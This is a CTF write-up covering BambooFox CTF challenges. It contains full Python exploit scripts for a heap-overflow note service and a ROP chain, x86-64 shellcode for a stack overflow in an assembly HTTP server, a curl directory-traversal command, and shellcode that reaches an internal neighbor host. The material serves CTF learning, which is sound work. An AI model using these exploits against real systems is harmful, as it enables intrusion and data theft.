BambooFox CTF had been held from December 31th to January 1st.
I played it a bit in zer0pts and we stood 5th place.

All of the pwn-related tasks were very fun! Thank you for hosting the CTF and happy new year :)
- [Pwn 323pts] note
- [Pwn 357pts] APP I
- [Rev 37pts] How2decompyle
- [Rev 115pts] Move or not
- [Web+Pwn 769pts] NEW
- [Web+Misc 833pts] YEAR
Other members' writeups:
[Pwn 323pts] note
A 64-bit ELF and libc-2.27 are distributed.
$ checksec -f note RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 85 Symbols Yes 0 6 note
It's a normal heap challenge and the vulnerability is pretty obvious.
In the copy function, it sets the size of the destination note into the return value of snprintf.
snprintf will not return the copied size but the given input size, so it can be the cause of heap overflow.
I used __malloc_hook as it allocates chunk with calloc.
However, none of the one gadget work.
Even though rcx points to NULL, it crashes within movaps as always.
So, I put one gadget to __relloc_hook and "call realloc gadget" to __malloc_hook in order to align the stack.
from ptrlib import * def add(size): sock.sendlineafter(": ", "1") sock.sendlineafter(": ", str(size)) return def edit(index, data): sock.sendlineafter(": ", "2") sock.sendlineafter(": ", str(index)) sock.sendafter(": ", data) return def show(index): sock.sendlineafter(": ", "3") sock.sendlineafter(": ", str(index)) return sock.recvline().rstrip(b'*') def copy(src, dst): sock.sendlineafter(": ", "4") sock.sendlineafter(": ", str(src)) sock.sendlineafter(": ", str(dst)) return def delete(index): sock.sendlineafter(": ", "5") sock.sendlineafter(": ", str(index)) return libc = ELF("./libc-2.27.so") #sock = Process("./note") sock = Socket("34.82.101.212", 10001) libc_main_arena = 0x3ebc40 libc_one_gadget = 0x4f2c5 call_realloc = 0x1524d0 # leak libc add(0x38) # 0 add(0x18) # 1 add(0x3f8) # 2 add(0x68) # 3 edit(3, (p64(0)+p64(0x21))*6) edit(0, b"A"*0x2f) copy(0, 1) edit(1, b"B"*0x18+p64(0x431)) delete(2) libc_base = u64(show(1)[0x20:0x28]) - libc_main_arena - 0x60 logger.info("libc base = " + hex(libc_base)) delete(0) delete(3) # evict tache add(0x68) # 0 for i in range(7): add(0x68) # 2 delete(2) delete(0) # house of spirit edit(1, b'B'*0x18+p64(0x71)+p64(libc_base + libc.symbol('__malloc_hook') - 0x23)) add(0x68) # 0 add(0x68) # 2 payload = b'\x00'*0xb payload += p64(libc_base + libc_one_gadget) payload += p64(libc_base + call_realloc) edit(2, payload) # get the shell! sock.sendlineafter(": ", "1") sock.sendlineafter(": ", "123") sock.interactive()
[Pwn 357pts] APP I
We're given a statically linked ELF binary.
$ checksec -f app RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 1806 Symbols Yes 0 39 app
It has a simple stack overflow and thus it seems easy to get the shell.
However, as the environment is under chroot, we need to craft a rop chain to read and write the contents of /flag1.
Still, it's so easy and I can't understand why much more people solved note than this one.
from ptrlib import * import time elf = ELF("./app") #sock = Process("./app") sock = Socket("34.82.101.212", 10011) rop_pop_rdi = 0x00400686 rop_pop_rsi = 0x00410083 rop_pop_rdx = 0x0044b9b6 rop_pop_rax = 0x00415234 rop_syscall = 0x00474a05 addr_path = elf.section('.bss') + 0x100 addr_flag = elf.section('.bss') + 0x200 payload = b'A' * 0x108 payload += p64(rop_pop_rdi) payload += p64(addr_path) payload += p64(elf.symbol('gets')) # gets(path) payload += p64(rop_pop_rsi) payload += p64(0) payload += p64(rop_pop_rdi) payload += p64(addr_path) payload += p64(rop_pop_rax) payload += p64(2) payload += p64(rop_syscall) # open(path, O_RDNLY) payload += p64(rop_pop_rdx) payload += p64(0x30) payload += p64(rop_pop_rsi) payload += p64(addr_flag) payload += p64(rop_pop_rdi) payload += p64(3) payload += p64(rop_pop_rax) payload += p64(0) payload += p64(rop_syscall) # read(fd, flag, 0x40) payload += p64(rop_pop_rdx) payload += p64(0x30) payload += p64(rop_pop_rsi) payload += p64(addr_flag) payload += p64(rop_pop_rdi) payload += p64(1) payload += p64(rop_pop_rax) payload += p64(1) payload += p64(rop_syscall) # write(1, flag, 0x40) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) sock.sendline(payload) time.sleep(0.1) sock.sendline("/flag1") sock.interactive()
[Rev 37pts] How2decompyle
Given a pyc file, I decompiled it and just wrote a decoder.
table = 'abcdefghijklmnopqrstuvwxyz_' restrictions = [ 'uudcjkllpuqngqwbujnbhobowpx_kdkp_', 'f_negcqevyxmauuhthijbwhpjbvalnhnm', 'dsafqqwxaqtstghrfbxzp_x_xo_kzqxck', 'mdmqs_tfxbwisprcjutkrsogarmijtcls', 'kvpsbdddqcyuzrgdomvnmlaymnlbegnur', 'oykgmfa_cmroybxsgwktlzfitgagwxawu', 'ewxbxogihhmknjcpbymdxqljvsspnvzfv', 'izjwevjzooutelioqrbggatwkqfcuzwin', 'xtbifb_vzsilvyjmyqsxdkrrqwyyiu_vb', 'watartiplxa_ktzn_ouwzndcrfutffyzd', 'rqzhdgfhdnbpmomakleqfpmxetpwpobgj', 'qggdzxprwisr_vkkipgftuvhsizlc_pbz', 'jerzhlnsegcaqzathfpuufwunakdtceqw', 'lbvlyyrugffgrwo_v_zrqvqszchqrrljq', 'aiwuuhzbszvfpidwwkl_wynlujbsbhfox', 'vmhrizxtiegxdxsqcdoiyxkffloudwtxg', 'tffjnabob_jbf_qiszdsemczghnjysmah', 'zrqkppvynlkelnevngwlkhgaputhoagtt', 'nl_oojyafwoqccbedijmigpedkdzglq_f', 'cksy_skctjlyxktuzchvstunyvcvabomc', 'ppcxleeguvhvhengmvac_bykhzqohjuei', '_clmaicjrrzhwd_fescyaejtbyefxyihy', 'hhopvwsmjtpjiffzatyhjrev_dwnsidyo', 'sjevtrmkkk_zjalxrxfovjsbcxjx_pskp', 'gnynwuuqypddbsylparpcczqimimqmvdl', 'bxitcmhnmanwuhvjxnqeoiimlegrmkjra'] flag = '' for i in range(len(restrictions[0])): for c in table: for restriction in restrictions: if c == restriction[i]: break else: flag += c print(flag)
[Rev 115pts] Move or not
It's a simple x86-64 ELF. We're asked 2 numbers when executing the file. First one is easy as it just compares the input with a constant number 0x18070. The second one is the key to unpack the machine code. The program just adds key-49 to the machine code byte by byte and thus key is a value between 0 to 255. I found the only value which won't crash the program was 50 by brute forcing. Now, making breakpoint before strcmp and checking the argument reveals the flag.
pwndbg> break *0x55a3b2f07919
Breakpoint 2 at 0x55a3b2f07919
pwndbg> conti
Continuing.
First give me your password: 98416
Second give me your key: 50
Then Verify your flag: 123
Breakpoint 2, 0x000055a3b2f07919 in ?? ()
Breakpoint *0x55a3b2f07919
pwndbg> x/1s $rdi
0x55a3b3108100: "BambooFox{dyn4mic_1s_4ls0_gr34t}"
[Web+Pwn 769pts] NEW
When I tried this challenge, @st98 had already found the source code of the HTTP server in previous challenge "HAPPY."
The server is written in assembly language.
The vulnerability is obvious in read_req_path in http.asm.
Although it initialized stack by enter 1000, 0, the request size is allowed to be up to 1024.
read_req_path: enter 1000, 0 read_req_path_start: mov rax, 0 ; sys_read mov rdi, [sockfd] ; read from client lea rsi, [rbp-1000] ; store in req_path mov rdx, 1024 ; read only 1 line (<=1 KB) syscall
NX and PIE are disabled and thus we can just run our shellcode!
I tried to execute the shell but it didn't work in remote because of chroot maybe.
So, I just listed up all files in ../flags and read it by directory traversal vulnerability already found by st98.
_start: mov rdx, rdi shr rdx, 16 shl rdx, 16 add dx, 0xb00 mov r15, rdx ; r15 = 0x600b00 mov rdx, r15 add dl, 0x24 mov rdi, [rdx] xor esi, esi mov al, 33 syscall ; dup2([0x600b24], 0) mov rdx, r15 add dl, 0x24 mov rdi, [rdx] xor esi, esi inc esi mov al, 33 syscall ; dup2([0x600b24], 1) mov rdx, r15 add dx, 0x100 mov rax, 0x7367616c662f2e2e mov [rdx], rax mov rdi, rdx xor eax, eax xor edx, edx xor esi, esi mov al, 2 syscall ; open(".", O_RDONLY) mov rdi, rax xor edx, edx xor eax, eax mov dx, 0x3210 sub rsp, rdx mov rsi, rsp mov al, 78 syscall ; getdents(fd, rsp, 0x3210) xchg rax, rdx xor eax, eax xor edi, edi inc eax inc edi mov rsi, rsp syscall ; write(1, rsp, rdx) here: nop jmp here
Sending this shellcode reveals the existence of flag2-99754106633f94d350db34d548d6091a.txt.
from ptrlib import * #sock = Socket("localhost", 8888) sock = Socket("34.82.101.212", 8001) addr_shellcode = 0x600a94 + 2 with open("shellcode.o", "rb") as f: f.seek(0x180) shellcode = f.read(0x100) shellcode = shellcode[:shellcode.index(b'EOF')] payload = b"GET /" payload += shellcode payload += b"A" * (1000 - len(payload)) payload += p64(0) payload += p64(addr_shellcode) sock.sendline(payload) sock.interactive()
Directory traversal:
$ curl --path-as-is "http://34.82.101.212:8001/../../../../home/web/flags/flag2-99754106633f94d350db34d548d6091a.txt"
[Web+Misc 833pts] YEAR
Same server as challenge NEW.
The challenge description says we need to access to http://neighbor/flag3.txt from inside the server.
I read /etc/hosts by directory traversal and found the server working as 172.18.0.3.
So, neighbor would have similar IP address.
We could run shellcode in the previous challenge and I just changed the shellcode into one that connects to 172.18.0.X:80, sends GET /flag3.txt and reads the response.
_start: mov rdx, rdi shr rdx, 16 shl rdx, 16 add dx, 0xb00 mov r15, rdx ; r15 = 0x600b00 mov rdx, r15 add dl, 0x24 mov r13, [rdx] ;;; HTTP client push 0x020012ac ; Address (172.18.0.2) push word 0x5000 ; Port (80) push word 2 ; Address family push 42 ; connect syscall push byte 16 ; length push byte 41 ; socket syscall push byte 1 ; type (SOCK_STREAM) push byte 2 ; family (AF_INET) pop rdi ; family pop rsi ; type xor edx, edx ; protocol pop rax ; SYS_socket syscall mov r14, rax mov rdi, rax ; sockfd pop rdx ; length pop rax ; SYS_connect mov rsi, rsp ; sockaddr syscall mov rsi, r15 add si, 0x210 mov rdi, r13 xor eax, eax syscall ; read(fd, url, 0x10); mov rdi, r14 ; sockfd xor eax, eax inc eax ; SYS_write syscall mov dx, 0x100 xor eax, eax ; SYS_read syscall mov rdi, r13 xor eax, eax inc eax syscall ; SYS_write
I changed the IP and found the flag on 172.18.0.2.